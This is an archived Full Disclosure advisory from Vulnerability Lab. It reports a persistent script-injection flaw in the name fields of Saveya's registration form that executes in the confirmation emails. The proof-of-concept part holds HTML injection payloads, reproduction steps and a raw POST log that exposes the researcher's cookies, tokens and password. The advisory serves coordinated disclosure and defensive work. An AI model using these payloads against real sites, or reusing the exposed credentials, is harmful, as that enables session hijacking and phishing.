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[FD] Saveya Bounty #1 - Bypass & Persistent Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Saveya Bounty #1 - Bypass & Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 28 Jul 2016 12:05:00 +0200
Document Title:
===============
Saveya Bounty #1 - Bypass & Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1857
SaveYa ID: 56
Acknowledgements: https://www.saveya.com/white-hat-program-acknowledgements
Release Date:
=============
2016-07-26
Vulnerability Laboratory ID (VL-ID):
====================================
1857
Common Vulnerability Scoring System:
====================================
3.7
Product & Service Introduction:
===============================
As one of the leading gift card exchanges, SaveYa passes along the savings to
you by buying unwanted gift cards. In turn, gift cards from many popular
retailers are sold at a discount, below face value, and you can save big time
on your everyday or one time expenses. Browse or search our extensive list
of discounted gift cards for today’s most popular retailers before you make
that next big purchase. If you are a shopper on the go, you can download our
discount gift card app to save even more instantly. Our one of a kind savings
app alerts you before checkout in order to take advantage of potential
savings by buying discounted gift cards.
(Copy of the Vendor Homepage: https://www.saveya.com/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side
input validation vulnerability and filter bypass issue in the Saveya
web-application.
Vulnerability Disclosure Timeline:
==================================
2016-06-15: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2016-06-17 Vendor Notification (Saveya Security Team - Bug Bounty Program)
2016-06-18: Vendor Response/Feedback (Saveya Security Team - Bug Bounty Program)
2016-07-25: Vendor Fix/Patch (Saveya Site Service Developer Team)
2016-07-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Saveya
Product: Saveya - Online Service (Web-Application) 2016 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side input validation and mail encode web vulnerability has been
discovered in the official Saveya online service web-application.
The application-side vulnerability allows remote attacker to inject own
malicious script codes to the application-side of the vulnerable module or
function.
The vulnerability is located in the `Firstname` and `Lastname` parameter values
of the `./Register` module POST method request. Remote attackers are able
to inject own malicious script codes to the application-side of the profile
values. After the registration a confirm and verification email is send by the
service with the firstname and lastname values in the message body. Thus values
are wrong encoded and can execute persistent injected script codes.
The security risk of the application-side mail encode web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of
3.8.
Exploitation of the persistent input validation web vulnerability requires no
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects to malicious source
and persistent manipulation of affected or connected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Register - Account Registration SaveYa
Vulnerable Parameter(s):
[+] Firstname
[+] Lastname
Affected Module(s):
[+] Verify Email
[+] Account Congratulation Email
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers without
privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the Saveya website
2. Click to Signup module
3. The registration form opens
4. Inject random values and a target attack email to include via POST
5. Inject to the Firstname and Lastname input field values your own malicious
script code
6. Save the request via POST submit
7. Check the inbox
8. First the email of the verify arrives and after that the email
congratulation account to verify
Note: In both emails the persistent injected script code executes in the
message body context
9. Successful reproduce of the remote mail encode web vulnerability and input
validation issue
PoC #1: Welcome Email
<tr><td> <table style="border-spacing:0;border-collapse:collapse;width:100%">
<tbody><tr>
<td style="padding-top:20px;">
<p>Welcome "><"[PERSISTENT INJECTED SCRIPT CODE EXECUTE!]<img
src="x">%20%20>"<iframe src="a">%20<iframe>!</p>
<p><p>We are excited to start your savings! To maintain a safe gift card
exchange for our Buyers and Sellers, click the following link to confirm your
email</p>
<a
href="https://saveya.com/verify/email/BDugbGkoZSMZtv5gyIyIXIqnpoaTYZne";>https://saveya.com/verify/email/BDugbGkoZSMZtv5gyIyIXIqnpoaTYZne</a>
</p><p> </p>
</td></tr></tbody>
</table>
PoC #2: Congratulations Email Account
<tr><td>
<table style="border-spacing:0;border-collapse:collapse;width:100%">
<tbody><tr>
<td style="padding-top:20px;">
<p>Congratulations "><"[PERSISTENT INJECTED SCRIPT CODE EXECUTE!]<img
src="x">%20%20>"<iframe src="a">%20<iframe>!</p>
<p>We're excited to have you join the millions of people who love a great
deal and are using technology to discover the best savings.</p>
<p style="padding-top:20px">Log in now and let's start saving!
<a
href="https://saveya.com/login?utm_source=website&utm_medium=email&utm_campaign=signup";>https://saveya.com/login</a></p>
</td></tr></tbody>
</table>
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST https://www.saveya.com/register
Mime Type[text/html]
Request Header:
Host[www.saveya.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://www.saveya.com/register]
Cookie[PHPSESSID=33v3vavabp7hagmti0dgb47f50; device_view=full;
saveya_cart_token=48c646fbf38b7a8ea2a7d61e98046157c76983bce6198447ce488adaf4887a8c;
_ga=GA1.2.1932054624.1466150590;
GSIDjkWRttymeafj=1af66ccb-deae-441d-b2e4-5ef9217c94c3; STSD190022=0;
STSID190022=59c3febf-a651-4e83-9bb1-85755c92113f;
D_SID=91.59.66.192:Kv9klAfp7orEq6woodpGtWjlJ0BG/8iXQRcEeAdvdTo;
D_PID=1CFD7DCE-572E-3764-9239-4718E145198D;
D_IID=6239827F-3F71-3084-846B-29ACC3BC0F30;
D_UID=C6C6ABC7-6CC3-3B8C-AD5E-793C07AB3C06;
D_HID=2J0KBBFZ4q4uK+XfSbYf98AeSaLG/WqQqRlOQY5Upeg; ltk-subscribed=Account;
_dc_gtm_UA-56192108-1=1]
Connection[keep-alive]
POST-Daten:
register%5Bfirst_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
register%5Blast_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
register%5Busername%5D[bkm%40evolution-sec.com]
register%5Bpassword%5D%5Bfirst%5D[Keygen445%21%21%21]
register%5Bpassword%5D%5Bsecond%5D[Keygen445%21%21%21]
register%5Bdate_of_birth%5D[02%2F20%2F1980]
register%5Bphone_number%5D[%28021%29+115-2323]
register%5Bgoogle_client%5D[1932054624.1466150590]
register%5Bis_newsletter_subscriber%5D[1]
register%5B_token%5D[ljxgjddaWUWDyj_f9CbzdjV1NUdsClwo9W4TzEgeKD4]
agreedTerms[agreed]
g-recaptcha-response[03AHJ_VutZLpkWHzGXigJ3Xyhh4JrPsJWUIOiJ3xrh-JDLoA4a8CWWkkPRGELGZfnVEGcmQJvZHFqR0QtZrZ9hVqLf2QXg3yZq1lE8AZpXNd9q7IaVyc0TIytZ9KyeOL
fL6uHPSOnpQ0xyHCj9iDap7g1yrhNIQ3UHAlpubKEeY8yseJO9D1NVa__1KbbkfWgkX0hI8RGl-nZTCAMEcApy4js6skNQ14JTVhlj8F1BOK-3Wun78njvE320y4Bc6xoWBrRNMLtRiNS-o46UgdF_oGFxU
uuce6vVuz-ccAdL8xV79JnwTSbcEYsQbsYojUzXXT8NeoX8JxqrZKet3Tf8zkzFxx9mnkenAptWHCFX7MEhLJmtFCG2KQ9eS8sTHL9OTIH3LwlwSgzoeoGiIoBuXMb9oJtwVzLf-MW4jG_ypIfDY4AG9vNop9_It3_0vRsZyhunloQ_AgOyl9WB9yVBY166EnROUo6HU3OWTWp0Gn7PVIQ5FOhmSWLZe_rcCoToqGAnjbaJhgydgYFAaAak9GNA-84VPENp8fe-Dnv-VldosJEcA5c0FadoLLmfXbSLiXrgml5KtTf_AL8sG3JIK4rU8UevCIfeVQ09O3E0BlHyRa8T3nzIhfuv3Dx41NmaVUM7QQJfZ3HKZg1kgwU-1ZjfBJdoJZ5wPYqIa3Nv9irKuRpEvnPu3wIfPMbUArIlGFK
n30LeEuzg2PQO-cnz0Ch4YrwrXonIvUneyZ738cnJIgsb9tV0kazJc5sP8aS30Fz1GZ0qIi9a7KaMu22HHgxgbnAx1DLv2082WHnXfhcXpv3OMTyz0z3Mx6ypiryPA0FRgcedhWDIr7JhL1pl6UUtNkcbPUz
qaXRkrb9in_-7rFfKJiJsw_-eT0FGwYmRRK18sEaa_gmp3h4ay_iF79k84bDI2IlT1a2DhXL_tJmCDOxJVrVXxavG5OIVnHzxv5MX8DNrVnHXACVZXFA0TXIBxTSf5BmyAd7wqe99Dj7xbbV1m5jSVGj8xJE08wtD4o_tneeo9XdB_PKWPXrK
1qcCMzh5hrEF_oHdST9ydl_x1qSQfaKy4rm1nAwl1FnpdhgNeei5jdN5dbnI79D-Fo6aCnnBBoA-_8rgI4U7UvXQ3YgvYt0CeyKAv9pWb5-40mwX0931WAxB6cE9PbjRneiXBa4m6LIO90TJ_lMDhju-yUS
UvgCp9y-PczsFpepOBumtc4CkBiMckjQjezcYd2K8li2lbOEedu2OlT0RQJ54066J6jZ64yiikAxzYbvlkfXSoiiT6Vf3xiraN3jPFPapzFYAWUjv3mDoaCx1MP5KU_7D2UHrEkPPe75YmyMegfF7jZmfNNzShmOIkwy
uacEWdgCOel7v_4aBn_BcXOenhliX3mFjmjFixYZTK_uiEuOgdP5MhIzbshGYTDuthFXSoCooT2oC-1vP10kd-divGjHH9jaiso2_GdGMBbm8tMTndAK1JnDFYQNYoZEP9r1_eAf3CDsJoip4Z3Ylfl2pZWA383a8jMFOFx9O9qCrfDAx4ZkF3QAcBi8HAeKHROfENnfCgUi5amgKimQNBUn0ir1YcCAnAGE8rdoeO3xzBB36uo
k2noIzEPzaLiluWjaZ-gShybVRQvCAjji1r75PFjLPZzJ2kG5f0tl3iioU7e-QPSHuImCHKiDFigueIapx4AQGIljja3Au2e-L9O_RqMy2Uyx3dEmmcoH4K8MpK40Amntgqh5vQ6ExcbjHw3rbZe4gqMO8F1
mDZCfm__kuwFlDf9o31SL7CDnW-LMSpVri1QayxnBzd31spQ7WKUxa6udMJOIYUZC7GYU89EKd2bsLXCqBdw661BDOM4lGxcmuBJVFxlugYTNvYL-bdGOAJTGv6R4UExBg72j14sqcWDZslFSGoYYMdABj47C8y-Y5YDIrh_gJ]
Response Header:
Server[nginx]
Date[Fri, 17 Jun 2016 08:16:41 GMT]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
Location[https://www.saveya.com/white-hat-program]
Request-Id[5763b1bfaeafd6.81829986]
Reference(s):
https://www.saveya.com/
https://www.saveya.com/register
Solution - Fix & Patch:
=======================
2016-07-25: Vendor Fix/Patch (Saveya Site Service Developer Team)
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in
the saveya online service web-application is estimated as medium. (CVSS 3.7)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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